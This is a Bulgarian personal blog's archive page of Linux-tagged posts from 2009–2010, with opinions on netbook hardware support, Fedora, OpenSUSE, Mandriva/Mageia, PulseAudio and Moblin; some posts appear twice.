Показват се публикациите с етикет linux. Показване на всички публикации
Показват се публикациите с етикет linux. Показване на всички публикации
сряда, 3 ноември 2010 г.
Fedora 14
От суеверие пропускайки каквито и да било занимания с 13-та версия на любимата дистрибуция, смело свалих още снощи Live-медията на 14-ката и я пробвах на Асуса... Като изключим това, че трябваше да се задоволя с Vesa за видеоадаптера, учудващо добре работи "от кутията", включително такива детайли, като управление на яркостта с F5/6 и прочие... Направо ще се прежаля да инсталирам на SD-карта и да до-експериментирам с testing варианта на psb драйвера на Rpm Fusion... Чудеса не се очакват, така или иначе, но поне ми се ще да видя що-годе работеща Linux-дистрибуция на EeePC 1101... А-а-а щях да пропусна - multitouch gestures на тъч-пада все пак не работят, а би трябвало, както пише по дебелите книги... Жалко...
сряда, 6 октомври 2010 г.
една година без Linux
Замислих се тези дни и се сетих, че преди почти година продадох предишния си нетбук, който беше с преинсталиран Linux и купих сегашния си, който е с преинсталиран Windows XP... Знаех, преди това, че карантията на машинката (Intel SCH "Poulsbo") е много зле поддържана под Linux, но да си призная не съм си давал сметка колко е отчайващо положението. Естествено има доста внушителна група ентусиасти, работещи усилено за подобряването му (справка - тук, тук...), но засега резултатът е доста спорен. И не би могло да е иначе, щом Imagination Technologies & Intel не публикуват никакви технически параметри касаещи работата на оригиналния драйвер, което прави пригаждането му към Xorg srever по-нов от вер.1.6 граничещо с гадаене на боб. Какъв избор би имал Linux-потребителя ? Или си седите на стари версии на дистрибуциите, или се задоволявате с, да кажем Vesa и липса на екстрите притежавани от чипсета...
Но да не дълбая тази тема, че ще ме апострофират пак някои мои приятели... Ще допълня само едно - дори и в случаите в които има добра поддръжка, не е 100% сигурно, че нетбукът ви ще работи пълноценно...
На фона на тези мисли ме обхваща носталгия по EeePC 901 и древния Xandros... Носталгия по машинка с Linux, конструиран така, че тя да се държи точно по начин, който очаквате от нея...
Надявам се мнозина ще ме разберат какво означава лаптопът ви да работи толкова часа на батерия, колкото очаквате; да затворите капакът лаптопа да "заспи" и при отварянето му "да се събуди" без да ви очакват изненади от сорта на черен дисплей, липса на WiFi, или да речем звук; да натиснете функционален клавиш за определено действие и той да върши без проблем работата си...
Естествено има късметлии, някъде нещата просто тръгват от кутийката, но това са по-скоро изключения от правилото... да не говорим, че ситуацията може да се промени коренно след поредния ъпдейт я на ядро, я на нещо, дето не би ви хрумнало че може да ви прецака, примерно звука (сещам се за един пример от ежедневието на Tigro - "сложих си OSS програма за N900, позволяваща на всеки контакт да се сложи различна мелодия и спря да работи вибрацията..." - е, това е все пак мобилен телефон, но пък е с Linux).
Изминалите няколко години изобщо не подобриха положението на Linux при лаптопите, имам пред вид популярните дистрибуции... Имах някакви надежди, когато през 2007-ма, макар и плахо ASUS и DELL решиха да експериментират на пазара, но година по-късно нещата замряха.
Въпросът "защо" е логичен, но в публичното пространство убедителен отговор така и не се получи. Това за върнатите машинки с Linux, за дългата ръка на Microsoft и прочие в стил "световната конспирация", колкото и да се докосват до истината не изчерпват всичко.
Сам по себе си Linux от доста навреме насам е пълноценна десктопна система. Който е работил с Windows 7, вижда колко много идеи са заимствали в прозорците от "нашите" среди. Да, но квалитетните лаптопи се продават с Windows 7, не с Linux. Нищо, че що се отнася до желязото положението с Win 7 към момента понякога е по-зле.
Истината е, че в Microsoft са добри ученици и още по-добри търговци... Не случайно Canonical се опитват да комерсиализират, макар и плахо отделни аспекти от Ubuntu, но все още движение в такава посока в Linux-средите се възприема като ерес.
Парадоксално е, но тъй много оплювания Android към момента е най-успешната пазарна реализация спрямо крайни клиенти на такава платформа...
Но да не дълбая тази тема, че ще ме апострофират пак някои мои приятели... Ще допълня само едно - дори и в случаите в които има добра поддръжка, не е 100% сигурно, че нетбукът ви ще работи пълноценно...
На фона на тези мисли ме обхваща носталгия по EeePC 901 и древния Xandros... Носталгия по машинка с Linux, конструиран така, че тя да се държи точно по начин, който очаквате от нея...
Надявам се мнозина ще ме разберат какво означава лаптопът ви да работи толкова часа на батерия, колкото очаквате; да затворите капакът лаптопа да "заспи" и при отварянето му "да се събуди" без да ви очакват изненади от сорта на черен дисплей, липса на WiFi, или да речем звук; да натиснете функционален клавиш за определено действие и той да върши без проблем работата си...
Естествено има късметлии, някъде нещата просто тръгват от кутийката, но това са по-скоро изключения от правилото... да не говорим, че ситуацията може да се промени коренно след поредния ъпдейт я на ядро, я на нещо, дето не би ви хрумнало че може да ви прецака, примерно звука (сещам се за един пример от ежедневието на Tigro - "сложих си OSS програма за N900, позволяваща на всеки контакт да се сложи различна мелодия и спря да работи вибрацията..." - е, това е все пак мобилен телефон, но пък е с Linux).
Изминалите няколко години изобщо не подобриха положението на Linux при лаптопите, имам пред вид популярните дистрибуции... Имах някакви надежди, когато през 2007-ма, макар и плахо ASUS и DELL решиха да експериментират на пазара, но година по-късно нещата замряха.
Въпросът "защо" е логичен, но в публичното пространство убедителен отговор така и не се получи. Това за върнатите машинки с Linux, за дългата ръка на Microsoft и прочие в стил "световната конспирация", колкото и да се докосват до истината не изчерпват всичко.
Сам по себе си Linux от доста навреме насам е пълноценна десктопна система. Който е работил с Windows 7, вижда колко много идеи са заимствали в прозорците от "нашите" среди. Да, но квалитетните лаптопи се продават с Windows 7, не с Linux. Нищо, че що се отнася до желязото положението с Win 7 към момента понякога е по-зле.
Истината е, че в Microsoft са добри ученици и още по-добри търговци... Не случайно Canonical се опитват да комерсиализират, макар и плахо отделни аспекти от Ubuntu, но все още движение в такава посока в Linux-средите се възприема като ерес.
Парадоксално е, но тъй много оплювания Android към момента е най-успешната пазарна реализация спрямо крайни клиенти на такава платформа...
събота, 18 септември 2010 г.
Mageia бъдещето на Mandriva
Както много пъти съм споменавал - Mandriva е била винаги една от любимите ми дистрибуции, колкото и заклетите апологети на Linux да гледат с пренебрежение на нея (обзалагам се 20 срещу 1, че на повечето от тях им е първата инсталирана дистрибуция). Много пъти, в чисто бизнес план, те са били на ръба на банкрута, като последния път беше в началото на годината... Явно този последния случай е прехвърлил някаква граница на търпимостта сред голяма част от разработчиците й (на управлението на фирмата тежат също доста грехове спрямо тях, каквито и причини да са ги предизвикали - най-вече изгонването на основателя на дистрибуцията Gaël Duval преди 4-5 години, наскоро Adam Williamson, който все пак отиде в Red Hat). Та резултатът е проект за форк на дистрибуцията с име - Mageia... С интерес ще следя продължението на тази история - mageia.org
събота, 17 юли 2010 г.
OpenSUSE 11.3
Преди дни се появи на бял свят стабилната версия на OpenSUSE 11.3. Тъй като известно време преди години ползувах на десктопа в къщи точно него (10.2 май беше) и първия си лаптоп го купих също с него, преинсталирано уж, та веднага си свалих LiveCD-то за светкавичен тест. Първото разочарование беше, че дори и с тази версия не е възможен лесен, НЕ-хакерски начин на dump на iso-то върху USB-стик (Unetbootin не върши работа- на втория етап от стартирането boot-loader не може да си намери root-файловата система). Мързеше ме да проучвам въпроса, затова след известно ровене по разни забутани кутии и чекмеджета успях да намеря празен диск и го изпекох... Има много нововъведения по самата система, така да се каже в карантиите, в YAST, в интерфейса, в системните инструменти (няма го вече sax2), но не затова ще пиша (който го интересува нека чете подробно release note). Ще пиша за разочарованието на един редови потребител от това с което се сблъсква при първия си досег с една от най-популярните и модерни Linux-дистрибуции. Не си губих времето да пробвам всичко това на netbook-а ми - ASUS 1101 HA, на него не си струва да се занимава човек с линукс - NO WAY !!!... Опитът беше извършен на старата кранта - EasyNote MZ36 - с двуядрен интелски процесор от първото поколение и доста популярното преди години в notebooks вградено видео на ATI/AMD - Radeon XPress 200M... конфигурация достатъчно стара, без да е прекалено древна, че да се поддържа със затворени очи от която и да е съвременна дистрибуция.Дизайнът на десктопа не се е променил от 2-3 години вече, което само по себе си не е чак толкова голяма беда (XP-то не е мръднало от 2001-ва). Но какво разочарование изпитах, когато, опитвайки се да включа визуалните ефекти, ми беше отказано - поради липса на direct rendering !!!??? А стига бе - ако свободния драйвер radeon, вече не може от воле да се справя с Xpress 200, просто нямам думи! Във Fedora от 11-та насам си имаше проблеми с авто- разпознаването и конфигурирането, което можел модерния Xorg, но хайде - там така или иначе всичко е по ръба на бръснача - всичко най-ново и експериментално.
От този момент нататък загубих желание за по-подробен тест. Иначе всичко друго, общо взето работеше безпроблемно - wifi, функционални клавиши... Само не пробвах дали има звук през слушалките (упорит проблем, по времето, когато купих лаптопа) и suspend to RAM... Не си струваше...
Не помня миналата, или по-миналата година беше обявена за годината на Linux-десктопа. Не би... Ако, за да имаме перфектен такъв, трябва да сме собственици на последно поколение хардуер, както явно е битуващото мислене сред повечето разработчици на Linux-дистрибуциите (впечатление споделяно не само от мен), то нещата са много сбъркани. Или тихомълком Linux започна да се отдръпва от битката за масовия десктоп. Не претендирам това, което пиша да е обективен обзор, по-скоро е твърде емоционално. Изобщо не искам да омаловажа това, което е OpenSUSE... Но и не искам да скрия разочарованието си.
неделя, 7 март 2010 г.
...
Излезе брой на вестника, за който обещах материал, но така и не подготвих. Откровено казано не ми се пише нищо напоследък на тема Linux... "... не пей ми се, не смей ми се...". Простата причина е, че нямам машина с работеща Linux-дистрибуция. Е, не точно - старият ми ноутбук има Fedora 11 на един мижав дял, но аз почти не работя на него - ползува го дъщеря ми, когато е при мен. Дори и в редките моменти, когато го пускам, по-скоро ме вбесява. Личният ми нетбук, не работи с Linux, при това скоро не се очертава да проработи, не и така, както искам аз. Какво да направя, като обичам да ползувам напредничави и нестандартни неща?!... Тия дни попаднах на публикация в блога на човек, чиято работа много уважавам. Самата публикация е доста интересна, но не на това искам да обърна внимание. Просто ще цитирам една мисъл, която изразява нещо, което е много близко до това, което се върти в моята глава, не бих могъл да го кажа по-удачно:
Понякога предпочитам просто да не казвам нищо, защото кажа ли, ще бъде критика, дори по-лошо... Уморил съм се от спорове на тема "това, срещу онова"... Мисля, че и аз се причислявам към тези хора, ползуващи Linux и мислещи, че нещата би трябвало да са по-добри...
Unfortunately, I just don’t see that changing anytime soon. To those that read and understood what I was trying to say, thanks for your comments. To everyone else, stop making excuses and stop blaming everyone else because you aren't willing to comprehend that some of us that use Linux think it should be better.
Понякога предпочитам просто да не казвам нищо, защото кажа ли, ще бъде критика, дори по-лошо... Уморил съм се от спорове на тема "това, срещу онова"... Мисля, че и аз се причислявам към тези хора, ползуващи Linux и мислещи, че нещата би трябвало да са по-добри...
понеделник, 28 декември 2009 г.
Linux, netbooks...
Отново ще ви досаждам с темата за netbooks. Не толкова с това, какво те са и какво не, а с отношениеятя netbooks – Linux, към настоящия момент. Linux трябваше да е Операционната Система (ОС ще употребявам за по-кратко) на netbooks – евтините ултрамобилни PC и то по много причини. Без да са нещо принципно ново, нетбуците промениха радикално отношението потребител – PC, като максимално доближиха потребителя до мрежата, един път с цената си, втори път с възможността да са непрекъснато с вас.
Към моментна на появяването им на масовия пазар – първо доста плахо и неубедително с OLPC и най-вече с удара в десятката направен от ASUS – Eee PC 701, просто нямаше разумна алтернатива за тях като ОС. Няма да изненадам никого с няколко цифри: приблизителното разпределение на десктопните операционни системи (ОС) – 2-3% за Linux, 5-6% за MAC OS X, и останалите за фамилията на Microsoft Windows. Изключвам от сметките продукта на Apple – политиката им винаги е била: софтуерът се продава само с комплект хардуер, за когото е бил разработен (от известна гледна точка много правилна политика, впрочем) но, на доста висока цена. Доминиращата, спомената трета, владееща повече от 90% от пазара на персонални десктопни ОС, към момента на появяване на netbooks, не беше готова за тях. Просто не се вписваше в концепцията за ниска цена и ниски системни изисквания. Тогава Microsoft се суетеше около явното фиаско на претруфената Vista и стремежа на всяка цена да се пусне в срок и с достатъчно добро качество следващата версия на Windows... Само й беше на Microsoft до енергоспестяващи платформи и ултрамобилност... А пазарът на netbooks беше някаква лавина – само една цифра: за 2009 година ръстът в продажбите им е от порядъка на 109% !!! С патовата ситуация през 2007 г. се стигна до първите Eee PC-та и преинсталирания на тях Xandros... Толкова много се е изписало около Xandros-а, не искам да повтарям нищо. Далеч съм от мисълта да правя ASUS великия фен на Linux (в последствие те много бързо се отказаха от него...). Но така или иначе, към споменатия момент това беше добро решение, с ползи и за двете страни. А и самият избор на една от утвърдените (но не от най-големите като Red Hat) фирми, предлагащи платени решения на базата на open source източници не беше напълно случаен. ASUS искаха да владеят положението с ОС на продукта си, нещо което с Ubuntu, или Debian – напълно разработвани от свободна общност нямаше да се получи. Това е само едната страна на нещата. А те са доста сложни... Ето само следния пример – известно е, че изобщо няма единно становище за това какво точно трябва да представлява дестопът с Linux, дето ще завладее пазара на масовия потребител... Още по-зле – най-големите критики към машинката с преинсталирания Linux (по точно към ОС, не към машинката) дойдоха от т.н. Linux-общност. Критики както директни, във вид на коментари доколко е бил удачен наподобяващия на GSM-меню интерфейс с табове, така и индиректни с лансиране на най-различни алтернативни решения за ОС, поставяйки по този начин под съмнение самия избор на дистрибуция... И се стигна до пълната менажерия от Eeedora, Eeexubuntu, Ubuntueee, че и Eeebuntu (нямащи нищо общо едно с друго, естествено, освен първоизточника си), че дори едно от BSD-та се разписа, без и да броя „основните” дистрибуции, които стартираха повече, или по-малко специализирани раздели в поддръжка на „мъниците”... Някак съвсем плахо, дори незабележимо премина и опита на Acer с Linpus Lite (личните ми впечатления от него не са никак положителни – някак умишлено орязана откъм възможностите и поддръжката си система), и като самотно дърво сред пусто поле остана DELL с техния вариант на Ubuntu... Това от гледна точка на дистрибуциите. Откъм десктоп средите положението е още по страшно – Ubuntu Netbook Remix на базата на Gnome, Linpus Lite на базата на XFCE, Moblin – стартирал на базата на Ubuntu, но мигрирал в последствие на Fedora и разработващ уникален потребителски интерфейс (въпреки, че в самата си основа е по същество XFCE), Jollycloud – напомнящ интерфейса на Moblin, но базиран основно на Ubuntu и външни разработки (array.org), да не забравяме и Chrome OS на Google, за която толкова много се шуми напоследък, но тя съдържа в себе си съвсем различна концепция... Та, нека за момент да се поставим на мястото на един производител на хардуер, който разработвайки един продукт иска на първо място той да се продава на масовия пазар добре, дори повече... Тук остават много далеч всякакви абстрактни принципи, единственото което е съществено е как ще се възприеме от редовия, масовия потребител, който не се вълнува от възвишените идеи на OSS, а от това доколко ще му върши работа, ще му е привичен, т.е. няма да го натоварва допълнително (нека не забравяме, че става въпрос за компютри, един път и нека не обвиняваме хората за нежеланието им да се учат на нещо ново)... В този ход на мисли е много логичен изборът на Xandros (наследила опита за Linux-дистрибуция на Corell), базирана на доста стабилна версия Debian, макар и не най-актуалната... и необичайния, за почти пълноценен компютър потребителсик интерфейс.
Предполагам мнозина няма да са съгласни с мен, но вроденото ми чувство за справедливост се разбунтува. Виждаме нещо, което отдавна е стремеж – да се види масов, радващ се на относително добро приемане Linux-десктоп, а от друга страна сме повече склонни да го отречем.
А когато разгледаме и въпросите около поддръжката на на хардуера, нещата придобиват още по-трагичен оттенък. Пак само Xandros и Dell (извиквайки на бял свят LPIA-порта на Ubuntu) бяха единствените даващи пълна хардуерна поддръжка на продаваните с тях машинки. Може и да пропускам някои, но намам повече лични впечатления: тук в България се продаваха HP2133 и MSI Wind със SLED, но бяха рядкост. И пак единствено Dell се постараха да бъдат най-коректни с потребителите си предоставяйки система, максимално оптимизирана за съответния хардуер. Въпреки, че и Xandros (с 2.6.21) и Ubuntu 8.04 (с 2.6.24) бяха с ядра НЕ-поддържащи Hyper Threading технологията на Intel, включена в Atom-процесорите. При ASUS това беше направено в неизлязлата версия 1.7 на Xandros Eee OS, но тя си остана само тестов вариант... А LPIA и досега е неофициален порт на Ubuntu и си е предизвикателство инсталирането на програми, невключени в базовата система.
Формално погледнато повечето масови нетбуци са базирани на комбинацията чипсет GMA945, процесор Atom N270/280, които работят доста добре под Linux (или би трябвало, ако не сте си блъскали главата с тях с Ubuntu 9.04... друга тема...). Но от към останалите подробности нещата са твърде шарени – най-различни LAN-карти, WiFi-карти, наличие или не на 3G модул... в добавка и HDA-Intel-аудиокарти, с кошмарното си разнообразие от решения... Преглеждайки списъка с поддържан хардуер на отделните дистрибуции, ще се начетете на бележки от сорта – частично, не е изпробвано, не работи, няма звук, не работи вградения микрофон... Пълната поддръжка никак не е най-масово срещания случай, по-скоро е въпрос на случайност...
Повече от година бях собственик на ASUS EeePC 901. Доста експерименти си правих с него, но така и го продадох с дошлия с него Xandros. Така и не проработиха доста от специфичните решения на машинката дори и с тясно специализирана дистрибуция, като Eeebuntu...
Трагедията е пълна с по-новите решения – примерно процесор Z520/530 – чипсет Intel(R) US15 (популярен повече, като GMA500 – Poulsbo). Комбинацията осигурява, с цената на много малко занижена производителност, значително увеличение на автономната работа. Без да забравяме че графичната карта е с възможности за хардуерно ускорение на някои видео-формати... Да, но понеже е с лицензирана PowerVR технология (това е единия компонент, осигуряващ ви нисък разход на енергия), поддръжката под Linux, поне към настоящия момент клони към нулата...
Всъщност можете да подкарате всичко, но ви отиват по дяволите почти всички екстри … В този ход на мисли, през изминалата година много се изписа по въпроса за Linux на ARM-платформа (а нима в момента не съществуват Android и Maemo ?). Тук отново няма алтернатива от Microsoft, или тя не е конкурентноспособна... Само бегъл преглед на устройствата с ARM-процесори (смартфони, Palm, iPhone и прочие „джаджи”) показва, че масовия графичен хардуер тук е основно със споменатата лицензирана технология PowerVR, логично защо... И как ще е с Linux тогава? Може би ще чакаме някаква реализация тук от NVidia, или ATI/AMD тук?... Не е изключено, но е малко вероятно (поне това, което видя бял свят на масовия пазар, като цени е доста скъпо). Особено в криза като сегашната – едва ли някоя от големите фирми в бранша ще инвестира нещо в толкова неясен пазарен сегмент... А и една добре работеща потребителска система не се изчерпва само с голата ОС...
Колкото повече Linux навлиза като продукт за масова употреба, толкова повече уморително разнообразните, взаимно изключващи се решения, битуващи тук, и силно НЕ-оптимизираното за десктоп ядро започват да са проблеми от съществено значение. Водих няколко пъти спор по разни форуми с явно заклети фенове и опитни потребители по въпроса (последния път в eeeuser.com относно Eee PC 1101HA) и ме изумява мисленето им. Видиш ли, понеже „можело да се работи” на него и, примерно „екстрите на видеото не го интересували”, какво толкова било проблем...?! Лично аз не мога да приема такива половинчати решения! Плащайки не малка сума пари за netbook, човек би искал да му ползува пълните възможности. В противен случай приложението на Linux тук отново ще се стесни до хората, занимаващи се с разработка на софтуер и шепа ентусиасти. Лично аз се уморих...
А фактите са доста печални – през 2007-ма 90% от малките машинки се продаваха с Linux, в момента (края на 2009-та) – 90% се продават с Windows... Включая машинката на която пиша настоящия материал...
Ще завърша с това, с което започнах – Linux трябваше да е Операционната система на netbooks... но не стана...
По-зле – според мен, вече дори няма перспективи да стане, просто пропуснахме момента.
вторник, 1 декември 2009 г.
без заглавие
Много ме бива по някои изцепки... Навремето с покупката на първия ми недодялан личен домашен десктоп и последвалите опити да подкарам звук 5.1 през вградената му аудиокарта, без да искам изкарах един курс по самообучение за работа с ALSA (него горкия вече го няма, компютъра де)... С първия си лаптоп се сблъсках с приключението „безжична карта Ralink RT2561” и Linux, доста писано в този блог по въпроса... До неотдавна любимият ми личен netbook – EeePC 901 и вървящия с него Xandros изпълваха доста постове тук, но и той е вече история (радостен факт за мен беше, че новия му собственик, поне в началото реши да задържи на него Linux-а, дано така е и занапред). Най-новата ми играчка – Eee PC 1101HA, не излиза от очерталото се правило. Първо, купувайки я, станах легален собственик на Windows XP (не е за вярване...). Второ – станах собственик на машинка с прословутата видеокарта GMA 500 Poulsbo (справка с wiki - потребление под 2.5W; Hardware acceleration/MPEG-2;VC-1;AVC - full)... Знаех, че е лошо поддържана в Linux, но, да си призная не очаквах, че положението е толкова отчайващо. Да поясня – видеокартата вече има „почти” добра поддръжка. Но покрай нея се сблъсках с един проблем за който, поне досега не съм си давал сметка – споменатите по-горе поддръжката и просвирването на HD видео в Linux... А сравнението дори с дъртото XP води доста горчиви размисли...
Такива работи... Засега си правя експерименти с регистъра на XP-то и проучвам ... Има един неофициален пач за MPlayer и засега нищо повече - http://gwenole.beauchesne.info/en/blog/2008/12/24/mplayer_with_va_api_acceleration ...
Всъщност, следвайки линковете за VA-API, Freedesktop.org, открих заявена поддръжка в повечето популярни инструменти за видеопросвирване, но... на бял свят засега няма още нищо (между другото изключително съм разочарован от последната версия на VLC, нещо което затвърди впечатлението ми през годините, че MPlayer е изключително висококачествено замислена и разработвана програма)
Е, по-добре е от нищо...
Такива работи... Засега си правя експерименти с регистъра на XP-то и проучвам ... Има един неофициален пач за MPlayer и засега нищо повече - http://gwenole.beauchesne.info/en/blog/2008/12/24/mplayer_with_va_api_acceleration ...
Всъщност, следвайки линковете за VA-API, Freedesktop.org, открих заявена поддръжка в повечето популярни инструменти за видеопросвирване, но... на бял свят засега няма още нищо (между другото изключително съм разочарован от последната версия на VLC, нещо което затвърди впечатлението ми през годините, че MPlayer е изключително висококачествено замислена и разработвана програма)
Е, по-добре е от нищо...
сряда, 21 октомври 2009 г.
Истината за Pulse Audio
Най-сетне се намери някой да каже, че "царят е гол". Темата е щекотлива и при разравяне има склонност да мирише, но според мен в Linux света има и по-миризливи неща... Беше време (2007-ма), когато и аз бях горещ привърженик на PulseAudio и съм го препоръчвал на мнозина. В края на 2009-та нещата изобщо не са розови - и вече съвсем открито потребителите си задават въпроса - кое е повече при употребата на PA - ползата, или вредата? Успокоих се, лично за себе си, че не съм само аз със сбъркано мислене ;) .
Да вярно - може да слушате музика, да чувате системните звуци и да си говорите по ekiga едновременно (да си вдигнат ръцете тия, дето я използуват тази програма), да ама това го правех и с помощта на dmix на alsa... Тук се намесва великия спор за kernell-space и user-space - доводите са убедителни, да... Уж PA трябваше да е панацеята на потребителските проблеми с аудио подсистемата на Linux... да, ама не стана. Стана единият от многото потребителски проблеми. Skype до ден днешен не работи, като хората с PA (да си вдигнат ръцете тия, дето не го ползуват; вярно, че вече е налична и бета версия с поддръжка на PA, но колко време бяха вопиющи мъки...), а като гледам и всички потребители са се изпотрепали да ползуват звук по мрежата, дето ставало с PA перфектно (сигурно, аз не съм пробвал).
Коректния подход на дистрибуциите би бил да не го инсталират по подразбиране, нека го има като опция, на когото му трябва да си го сложи. Лично аз - благодаря... До гуша ми е дошло от спънки с най-елементарни, ежедневни неща в използуването на Linux, като потребителска система.
интересна дискусия по въпроса
Да вярно - може да слушате музика, да чувате системните звуци и да си говорите по ekiga едновременно (да си вдигнат ръцете тия, дето я използуват тази програма), да ама това го правех и с помощта на dmix на alsa... Тук се намесва великия спор за kernell-space и user-space - доводите са убедителни, да... Уж PA трябваше да е панацеята на потребителските проблеми с аудио подсистемата на Linux... да, ама не стана. Стана единият от многото потребителски проблеми. Skype до ден днешен не работи, като хората с PA (да си вдигнат ръцете тия, дето не го ползуват; вярно, че вече е налична и бета версия с поддръжка на PA, но колко време бяха вопиющи мъки...), а като гледам и всички потребители са се изпотрепали да ползуват звук по мрежата, дето ставало с PA перфектно (сигурно, аз не съм пробвал).
Коректния подход на дистрибуциите би бил да не го инсталират по подразбиране, нека го има като опция, на когото му трябва да си го сложи. Лично аз - благодаря... До гуша ми е дошло от спънки с най-елементарни, ежедневни неща в използуването на Linux, като потребителска система.
интересна дискусия по въпроса
вторник, 29 септември 2009 г.
Защо Microsoft е такъв фен на Moblin
През изминалата седмица се появи финалната версия на Moblin 2 ... Почти едновременно с това се появи почти невероятната новина, че Microsoft ще разработи версия на Silverlight за Moblin (е, най-вероятно ще е двоичен пакет), но... все пак забележете - Moblin e Linux . Ето една интересна гледна точка, изложена в един от блоговете, които неизменно следя.
През последните 20 години крепка дружба свързва Intel и Microsoft. Първите пускаха на пазара все по-мощни и по-бързи процесори, вторите все по-мощни операционни системи... Докато в един момент Intel вече не бяха в състояние да увеличават повече честотата на процесорите. Временен изход беше разработването на такива с 2 и повече ядра, но така или иначе потребителите можеха да се възползуват ефективно само от двуядрените. В Intel бързо осъзнаха, че ако искат да продължават и за напред да продават чипове на потребителите, трябва да ги продават за по-малко пари. Така се създаде платформата Atom – евтини, потребяващи малко енергия процесори. Резултатът беше налице – през изминалата година и половина се продадоха милиони устройства с него – netbooks, nettops... А пазарът продължава да се разраства, като апетитите са насочени и към MID устройства, смартфони и потребителска електроника. Intel е почти постигнал целта си, но... тук внезапно Microsoft не връща топката – за новата платформа не се разработва нищо ново.
Повечето от тези нови, евтини устройства станаха причина да се развали идилията между двете корпорации. Ниската им цена трудно понася високите лицензионни такси на Windows и това отвори пазарна ниша за алтернативни решения - Linux... Това не беше особено голям проблем за Microsoft, но въпреки това те се полакомиха да удължат живота на XP и да позволят на производителите да продават устройствата с него. За една година това обърна пазара от 90% в полза на Linux точно на обратно... Но това беше пирова победа, защото не наля вода в мелницата на Vista и пришпорвания Windows 7 - те не стават за толкова маломощни машини, а и разработваната в края на 90-те XP връзва ръцете за много неща с остарелите си технологии. От друга страна и двете корпорации нямат интерес да продават продукт, който да изглежда като евтин заместител на „големите“ ноутбуци, както се оформи в масовото съзнание нетбукът с преинсталирана XP... И ето тук се явява интересната разработка на Intel – Moblin – Linux платформа, оптимизирана за Atom... Тя е бърза, ориентирана към уеб-потребление, с много характерен потребителски интерфейс, подчертаващ основното предназначение на тези устройства – забавление, сърфиране в web, лесен и интуитивен достъп до социалните мрежи... Разликата е толкова очебийна, сравнявайки интерфейса на Moblin с една десктопна ОС, да кажем Windows XP, или ако щете който и да е от Линуксите, че внушението е доста настойчиво – не бъркайте двете неща, това дребното нещо не е за сериозна работа, за такава работа си купете пълноценна, мощна машина с... Е, не съм чак такъв параноик, че да намесвам тук Световната Конспирация, но явно ситуацията силно устройва Microsoft, щом толкова много имат желание да я подкрепят (Moblin). Един вид – и вълка сит, и агнето цяло – Intel си продава евтините процесори, Microsoft не си губи времето и ресурсите (парите) с тях, а за мощните неща имате Vista и не след дълго Windows 7...
Моите лични впечатления от Moblin са, че това е по-скоро основна конструкция на ОС. Липсват ви кодеци, липсват много, такива – дребни нещица, дето правят един мини ноутбук пълноценна машинка. Така или иначе, това е пас към OEM фирмите да припечелят нещо и от една Linux ОС с повече, или по-малко отворени допълнения към нея... Класически пример за мен е Xandros за EeePC, която въпреки лошата си (незаслужено) слава си остава и до ден днешен най-пълноценно работеща Linux дистрибуция за нетбуците на ASUS. Да си призная много ми се бистри темата за Xandros, но ще се въздържа...
BTW очаква се през следващия месец да се появят и първите модели на ASUS с Moblin-версията на Xandros... Такава вече предоставиха във вид на LiveCD Linpus, а аз лично пробвах тази на Ubuntu, но тя, определено още в твърде зелена...
През последните 20 години крепка дружба свързва Intel и Microsoft. Първите пускаха на пазара все по-мощни и по-бързи процесори, вторите все по-мощни операционни системи... Докато в един момент Intel вече не бяха в състояние да увеличават повече честотата на процесорите. Временен изход беше разработването на такива с 2 и повече ядра, но така или иначе потребителите можеха да се възползуват ефективно само от двуядрените. В Intel бързо осъзнаха, че ако искат да продължават и за напред да продават чипове на потребителите, трябва да ги продават за по-малко пари. Така се създаде платформата Atom – евтини, потребяващи малко енергия процесори. Резултатът беше налице – през изминалата година и половина се продадоха милиони устройства с него – netbooks, nettops... А пазарът продължава да се разраства, като апетитите са насочени и към MID устройства, смартфони и потребителска електроника. Intel е почти постигнал целта си, но... тук внезапно Microsoft не връща топката – за новата платформа не се разработва нищо ново.
Повечето от тези нови, евтини устройства станаха причина да се развали идилията между двете корпорации. Ниската им цена трудно понася високите лицензионни такси на Windows и това отвори пазарна ниша за алтернативни решения - Linux... Това не беше особено голям проблем за Microsoft, но въпреки това те се полакомиха да удължат живота на XP и да позволят на производителите да продават устройствата с него. За една година това обърна пазара от 90% в полза на Linux точно на обратно... Но това беше пирова победа, защото не наля вода в мелницата на Vista и пришпорвания Windows 7 - те не стават за толкова маломощни машини, а и разработваната в края на 90-те XP връзва ръцете за много неща с остарелите си технологии. От друга страна и двете корпорации нямат интерес да продават продукт, който да изглежда като евтин заместител на „големите“ ноутбуци, както се оформи в масовото съзнание нетбукът с преинсталирана XP... И ето тук се явява интересната разработка на Intel – Moblin – Linux платформа, оптимизирана за Atom... Тя е бърза, ориентирана към уеб-потребление, с много характерен потребителски интерфейс, подчертаващ основното предназначение на тези устройства – забавление, сърфиране в web, лесен и интуитивен достъп до социалните мрежи... Разликата е толкова очебийна, сравнявайки интерфейса на Moblin с една десктопна ОС, да кажем Windows XP, или ако щете който и да е от Линуксите, че внушението е доста настойчиво – не бъркайте двете неща, това дребното нещо не е за сериозна работа, за такава работа си купете пълноценна, мощна машина с... Е, не съм чак такъв параноик, че да намесвам тук Световната Конспирация, но явно ситуацията силно устройва Microsoft, щом толкова много имат желание да я подкрепят (Moblin). Един вид – и вълка сит, и агнето цяло – Intel си продава евтините процесори, Microsoft не си губи времето и ресурсите (парите) с тях, а за мощните неща имате Vista и не след дълго Windows 7...
Моите лични впечатления от Moblin са, че това е по-скоро основна конструкция на ОС. Липсват ви кодеци, липсват много, такива – дребни нещица, дето правят един мини ноутбук пълноценна машинка. Така или иначе, това е пас към OEM фирмите да припечелят нещо и от една Linux ОС с повече, или по-малко отворени допълнения към нея... Класически пример за мен е Xandros за EeePC, която въпреки лошата си (незаслужено) слава си остава и до ден днешен най-пълноценно работеща Linux дистрибуция за нетбуците на ASUS. Да си призная много ми се бистри темата за Xandros, но ще се въздържа...
BTW очаква се през следващия месец да се появят и първите модели на ASUS с Moblin-версията на Xandros... Такава вече предоставиха във вид на LiveCD Linpus, а аз лично пробвах тази на Ubuntu, но тя, определено още в твърде зелена...
неделя, 27 септември 2009 г.
За ядрото, за разработката му, за Con Kolivas
Наскоро се заговори отново за Con Kolivas и новият му проект. За тези, които не знаят, Scheduler (sheduler) е може би една от най-ключовите технологии в съвременните операционни системи. Много опростено тя може да се обясни по следния начин: ако един процесор може да борави с една операция в даден момент, как да се организира многозадачност? Очевидно е, че така трябва да се организира последователността на операциите, че за крайният потребител да съществува илюзията, че всичко е направено едновременно. Този проблем се решава именно от Scheduler (планировчик).
